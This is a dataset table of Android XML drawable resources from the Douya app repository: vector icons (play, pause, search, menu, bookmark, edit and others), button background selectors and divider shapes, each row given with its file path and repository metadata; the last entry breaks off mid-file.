text stringlengths 9 39.2M | dir stringlengths 25 226 | lang stringclasses 163 values | created_date timestamp[s] | updated_date timestamp[s] | repo_name stringclasses 751 values | repo_full_name stringclasses 752 values | star int64 1.01k 183k | len_tokens int64 1 18.5M |
|---|---|---|---|---|---|---|---|---|
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M6 19h4V5H6v14zm8-14v14h4V5h-4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/pause_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 116 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<!--
~ @see @dimen/media_album_art_icon_size
-->
<vector
xmlns:android="path_to_url"
android:width="128dp"
android:height="128dp"
android:viewportWidth="80"
android:viewportHeight="80">
<path
android:fillColor="#FFE0E0E0"
android:pathData="M0,0h80v80h-80z" />
<path
android:fillColor="#FF9E9E9E"
android:pathData="M60,40a20,20 0 0 0 -20,-20 20,20 0 0 0 -20,20 20,20 0 0 0 20,20 20,20 0 0 0 20,-20z" />
<path
android:fillColor="#FFE0E0E0"
android:pathData="M40 31v10.55c-0.59-0.34-1.27-0.55-2-0.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4v-10h4v-4h-6z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/default_album_art.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 312 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M6.99,11L3,15l3.99,4v-3H14v-2H6.99v-3zM21,9l-3.99,-4v3H10v2h7.01v3L21,9z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/mutual_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 149 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M17 3H7c-1.1 0-1.99 0.9-1.99 2L5 21l7-3 7 3V5c0-1.1-0.9-2-2-2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/bookmark_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 148 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="64dp"
android:height="64dp"
android:viewportWidth="20"
android:viewportHeight="20">
<path
android:fillColor="#7FFFFFFF"
android:pathData="M10,0C4.48,0 0,4.48 0,10s4.48,10 10,10 10,-4.48 10,-10S15.52,0 10,0zm0,3c1.66,0 3,1.34 3,3s-1.34,3 -3,3 -3,-1.34 -3,-3 1.34,-3 3,-3zm0,14.2c-2.5,0 -4.71,-1.28 -6,-3.22 0.03,-1.99 4,-3.08 6,-3.08 1.99,0 5.97,1.09 6,3.08 -1.29,1.94 -3.5,3.22 -6,3.22z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/avatar_icon_white_inactive_64dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 283 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="36dp"
android:height="36dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M8 5v14l11-7z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/play_icon_white_36dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 101 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<size android:width="4dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/transparent_divider_vertical_4dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 49 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M12 3v10.55c-0.59-0.34-1.27-0.55-2-0.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3h-6z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/music_badge_white_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 167 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<solid android:color="#1fffffff" />
<size
android:height="1dp"
android:width="1dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/list_divider_dark.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 70 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M7,10l5,5 5,-5z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/drop_down_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 103 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape
xmlns:android="path_to_url"
android:shape="oval">
<solid android:color="@android:color/white" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/item_badge_circle_filled_white.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 61 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M12,4l-1.41,1.41L16.17,11H4v2h12.17l-5.58,5.59L12,20l8,-8z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/forward_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 135 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M 24,12 A 12,12 0 0 1 12,24 12,12 0 0 1 0,12 12,12 0 0 1 12,0 12,12 0 0 1 24,12 Z" />
<path
android:fillColor="#FF000000"
android:pathData="M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2zm5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12 17 15.59z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/remove_image_icon_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 303 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="128dp"
android:height="128dp"
android:viewportWidth="36"
android:viewportHeight="36">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M18,18c2.21,0 4,-1.79 4,-4s-1.79,-4 -4,-4 -4,1.79 -4,4 1.79,4 4,4zm0,2c-2.67,0 -8,1.34 -8,4v2h16v-2c0,-2.66 -5.33,-4 -8,-4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/profile_avatar_icon_white_128dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 186 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M6 6h2v12H6zm3.5 6l8.5 6V6z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/skip_to_previous_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 115 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="36dp"
android:height="36dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M11.5,9L13,9v6h-1.5zM9,9L6,9c-0.6,0 -1,0.5 -1,1v4c0,0.5 0.4,1 1,1h3c0.6,0 1,-0.5 1,-1v-2L8.5,12v1.5h-2v-3L10,10.5L10,10c0,-0.5 -0.4,-1 -1,-1zM19,10.5L19,9h-4.5v6L16,15v-2h2v-1.5h-2v-1z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/gif_icon_white_36dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 251 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="20"
android:viewportHeight="20">
<path
android:fillColor="#FF757575"
android:pathData="M10,0C4.48,0 0,4.48 0,10s4.48,10 10,10 10,-4.48 10,-10S15.52,0 10,0zm0,3c1.66,0 3,1.34 3,3s-1.34,3 -3,3 -3,-1.34 -3,-3 1.34,-3 3,-3zm0,14.2c-2.5,0 -4.71,-1.28 -6,-3.22 0.03,-1.99 4,-3.08 6,-3.08 1.99,0 5.97,1.09 6,3.08 -1.29,1.94 -3.5,3.22 -6,3.22z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/avatar_icon_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 283 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<ripple
xmlns:android="path_to_url"
android:color="?colorControlHighlight">
<item android:id="@android:id/mask">
<shape android:shape="oval">
<solid android:color="@android:color/white" />
</shape>
</item>
<item>
<selector>
<item android:state_enabled="false" android:state_activated="true">
<shape android:shape="oval">
<solid android:color="@color/green_300" />
</shape>
</item>
<item android:state_enabled="false">
<shape android:shape="oval">
<solid android:color="@color/green_100" />
</shape>
</item>
<item android:state_activated="true">
<shape android:shape="oval">
<solid android:color="?colorControlActivated" />
</shape>
</item>
<item>
<shape android:shape="oval">
<solid android:color="@color/grey_200" />
</shape>
</item>
</selector>
</item>
</ripple>
``` | /content/code_sandbox/app/src/main/res/drawable/card_icon_button_background.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 272 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M15.5,14h-0.79l-0.28,-0.27C15.41,12.59 16,11.11 16,9.5 16,5.91 13.09,3 9.5,3S3,5.91 3,9.5 5.91,16 9.5,16c1.61,0 3.09,-0.59 4.23,-1.57l0.27,0.28v0.79l5,4.99L20.49,19l-4.99,-5zm-6,0C7.01,14 5,11.99 5,9.5S7.01,5 9.5,5 14,7.01 14,9.5 11.99,14 9.5,14z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/search_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 285 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M12 8c1.1 0 2-0.9 2-2s-0.9-2-2-2-2 0.9-2 2 0.9 2 2 2zm0 2c-1.1 0-2 0.9-2 2s0.9 2 2 2 2-0.9 2-2-0.9-2-2-2zm0 6c-1.1 0-2 0.9-2 2s0.9 2 2 2 2-0.9 2-2-0.9-2-2-2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/more_vertical_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 244 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<inset
xmlns:android="path_to_url"
android:insetLeft="@dimen/abc_button_inset_horizontal_material"
android:insetTop="@dimen/abc_button_inset_vertical_material"
android:insetRight="@dimen/abc_button_inset_horizontal_material"
android:insetBottom="@dimen/abc_button_inset_vertical_material">
<ripple android:color="?android:attr/colorControlHighlight">
<item android:id="@android:id/mask">
<shape android:shape="rectangle">
<corners android:radius="@dimen/abc_control_corner_material" />
<solid android:color="@android:color/white" />
<padding
android:left="@dimen/abc_button_padding_horizontal_material"
android:right="@dimen/abc_button_padding_horizontal_material"
android:top="@dimen/abc_button_padding_vertical_material"
android:bottom="@dimen/abc_button_padding_vertical_material" />
</shape>
</item>
<item>
<!-- As we can't use themed ColorStateLists in L, we'll use a Drawable selector which
changes the shape's fill color. -->
<selector>
<item android:state_enabled="false">
<shape android:shape="rectangle">
<corners android:radius="@dimen/abc_control_corner_material" />
<stroke
android:color="?android:attr/colorButtonNormal"
android:width="1dp" />
<padding
android:left="@dimen/abc_button_padding_horizontal_material"
android:right="@dimen/abc_button_padding_horizontal_material"
android:top="@dimen/abc_button_padding_vertical_material"
android:bottom="@dimen/abc_button_padding_vertical_material" />
</shape>
</item>
<item>
<shape android:shape="rectangle">
<corners android:radius="@dimen/abc_control_corner_material" />
<stroke
android:color="?android:attr/colorAccent"
android:width="1dp" />
<padding
android:left="@dimen/abc_button_padding_horizontal_material"
android:right="@dimen/abc_button_padding_horizontal_material"
android:top="@dimen/abc_button_padding_vertical_material"
android:bottom="@dimen/abc_button_padding_vertical_material" />
</shape>
</item>
</selector>
</item>
</ripple>
</inset>
``` | /content/code_sandbox/app/src/main/res/drawable/colored_border_button_background.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 542 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<selector xmlns:android="path_to_url">
<item android:state_enabled="false" android:state_activated="true" android:color="@android:color/white" />
<item android:state_enabled="false" android:color="@color/grey_600" />
<item android:state_activated="true" android:color="@android:color/white" />
<item android:color="@color/grey_600" />
</selector>
``` | /content/code_sandbox/app/src/main/res/drawable/card_icon_button_tint.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 124 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M10,20v-6h4v6h5v-8h3L12,3 2,12h3v8z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/home_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 121 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M7,10l5,5,5-5z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/spinner_caret_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 103 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M18,4l2,4h-3l-2,-4h-2l2,4h-3l-2,-4H8l2,4H7L5,4H4c-1.1,0 -1.99,0.9 -1.99,2L2,18c0,1.1 0.9,2 2,2h16c1.1,0 2,-0.9 2,-2V4h-4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/movie_badge_white_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 200 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="40dp"
android:height="40dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M21 6H3c-1.1 0-2 0.9-2 2v8c0 1.1 0.9 2 2 2h18c1.1 0 2-0.9 2-2V8c0-1.1-0.9-2-2-2zm-10 7H8v3H6v-3H3v-2h3V8h2v3h3v2zm4.5 2c-0.83 0-1.5-0.67-1.5-1.5s0.67-1.5 1.5-1.5 1.5 0.67 1.5 1.5-0.67 1.5-1.5 1.5zm4-3c-0.83 0-1.5-0.67-1.5-1.5S18.67 9 19.5 9s1.5 0.67 1.5 1.5-0.67 1.5-1.5 1.5z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/game_badge_white_40dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 347 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape xmlns:android="path_to_url">
<size android:width="@dimen/button_bar_horizontal_divider_width" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/transparent_divider_vertical_button_bar.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 55 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape
xmlns:android="path_to_url"
android:shape="oval">
<solid android:color="@color/dark_50_percent" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/item_backdrop_play_background.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 62 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<shape
xmlns:android="path_to_url"
android:shape="oval">
<solid android:color="@android:color/transparent" />
<stroke
android:color="@android:color/white"
android:width="2dp" />
</shape>
``` | /content/code_sandbox/app/src/main/res/drawable/item_badge_circle_outline_white.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 85 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M11.5,22c1.1,0 2,-0.9 2,-2h-4c0,1.1 0.9,2 2,2zm6.5,-6v-5.5c0,-3.07 -2.13,-5.64 -5,-6.32V3.5c0,-0.83 -0.67,-1.5 -1.5,-1.5S10,2.67 10,3.5v0.68c-2.87,0.68 -5,3.25 -5,6.32V16l-2,2v1h17v-1l-2,-2zm-2,1H7v-6.5C7,8.01 9.01,6 11.5,6S16,8.01 16,10.5V17z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/notifications_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 289 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="8dp"
android:height="8dp"
android:viewportWidth="20"
android:viewportHeight="18.35">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M10 18.35l-1.45-1.32C3.4 12.36 0 9.28 0 5.5 0 2.42 2.42 0 5.5 0c1.74 0 3.41 0.81 4.5 2.09C11.09 0.81 12.76 0 14.5 0 17.58 0 20 2.42 20 5.5c0 3.78-3.4 6.86-8.55 11.54L10 18.35z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/favorite_icon_white_8dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 234 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M3,17.25V21h3.75L17.81,9.94l-3.75,-3.75L3,17.25zM20.71,7.04c0.39,-0.39 0.39,-1.02 0,-1.41l-2.34,-2.34c-0.39,-0.39 -1.02,-0.39 -1.41,0l-1.83,1.83 3.75,3.75 1.83,-1.83z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/edit_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 213 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="m 13.208786,16.36813 c 0,0 -3.6263779,0 -3.6263779,0 0,0 -1.0988969,5.63187 -1.0988969,5.63187 0,0 -1.964295,0 -1.964295,0 0,0 1.0989349,-5.63187 1.0989349,-5.63187 0,0 -3.2829713,0 -3.2829713,0 0,0 0,-1.881864 0,-1.881864 0,0 3.6400986,0 3.6400986,0 0,0 0.9477915,-4.8626614 0.9477915,-4.8626614 0,0 -3.5439474,0 -3.5439474,0 0,0 0,-1.9093405 0,-1.9093405 0,0 3.9148321,0 3.9148321,0 0,0 1.1263734,-5.7142641 1.1263734,-5.7142641 0,0 1.964295,0 1.964295,0 0,0 -1.126374,5.7142641 -1.126374,5.7142641 0,0 3.62638,0 3.62638,0 0,0 1.126373,-5.7142641 1.126373,-5.7142641 0,0 1.978014,0 1.978014,0 0,0 -1.126374,5.7142641 -1.126374,5.7142641 0,0 2.802178,0 2.802178,0 0,0 0,1.9093405 0,1.9093405 0,0 -3.173062,0 -3.173062,0 0,0 -0.947791,4.8626614 -0.947791,4.8626614 0,0 3.090631,0 3.090631,0 0,0 0,1.881864 0,1.881864 0,0 -3.447796,0 -3.447796,0 0,0 -1.098897,5.63187 -1.098897,5.63187 0,0 -1.978015,0 -1.978015,0 0,0 1.098897,-5.63187 1.098896,-5.63187 z M 9.9395732,14.486266 c 0,0 3.6263398,0 3.6263398,0 0,0 0.94783,-4.8626614 0.94783,-4.8626614 0,0 -3.626379,0 -3.626379,0 0,0 -0.9477908,4.8626614 -0.9477908,4.8626614 z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/topic_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 807 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M8 5v14l11-7z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/play_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 101 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M3 4V1h2v3h3v2H5v3H3V6H0V4h3zm3 6V7h3V4h7l1.83 2H21c1.1 0 2 0.9 2 2v12c0 1.1-0.9 2-2 2H5c-1.1 0-2-0.9-2-2V10h3zm7 9c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5zm-3.2-5c0 1.77 1.43 3.2 3.2 3.2s3.2-1.43 3.2-3.2-1.43-3.2-3.2-3.2-3.2 1.43-3.2 3.2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/add_photo_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 324 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M3,18h18v-2H3v2zm0,-5h18v-2H3v2zm0,-7v2h18V6H3z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/menu_icon_white_24dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 129 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="18dp"
android:height="18dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M21.99,4c0,-1.1 -0.89,-2 -1.99,-2H4c-1.1,0 -2,0.9 -2,2v12c0,1.1 0.9,2 2,2h14l4,4 -0.01,-18zM18,14H6v-2h12v2zm0,-3H6V9h12v2zm0,-3H6V6h12v2z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/comment_icon_white_18dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 201 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="8dp"
android:height="8dp"
android:viewportWidth="16"
android:viewportHeight="16">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M8 8c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/person_icon_white_8dp.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 186 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M 5.6529851,7.193928 H 18.399252 V 5.39165 H 5.6529851 Z m 9.7686559,4.858314 H 8.4738801 V 9.962643 h 6.9477609 z m -1.197971,1.750051 c -0.348757,1.006547 -0.797341,2.008214 -1.324325,3.043036 l -2.672684,0.0015 0.60726,-0.276058 C 10.467412,15.543156 10.066761,14.733147 9.4865307,13.802277 H 14.22367 Z M 5,18.60835 h 14 v -1.750033 h -3.968373 c 0.473143,-0.911451 0.863027,-1.850413 1.268736,-2.797836 l -0.787302,-0.245137 1.710818,-0.01378 V 8.212608 H 6.6455228 v 5.589081 l 2.1287313,0.01365 -1.121649,0.481443 c 0.3953942,0.741207 0.910193,1.649488 1.1926102,2.561531 H 5 Z M 4,2 h 16 c 1.108,0 2,0.892 2,2 v 16 c 0,1.108 -0.892,2 -2,2 H 4 C 2.892,22 2,21.108 2,20 V 4 C 2,2.892 2.892,2 4,2 Z" />
</vector>
``` | /content/code_sandbox/app/src/main/res/drawable/notification_icon.xml | xml | 2016-02-01T13:44:19 | 2024-08-15T05:23:34 | Douya | zhanghai/Douya | 4,549 | 496 |
```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
~ All Rights Reserved.
-->
<vector
xmlns:android="path_to_url"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path
android:fillColor="#FFFFFFFF"
android:pathData="M17 10H7v2h10v-2zm2-7h-1V1h-2v2H8V1H6v2H5c-1.11 0-1.99 0.9-1.99 2L3 19c0 1.1 0.89 2 2 2h14c1.1 0 2-0.9 2-2V5c0-1.1-0.9-2-2-2zm0 16H5V8h14v11zm-5-5H7v2h7v-2z" />
</vector>
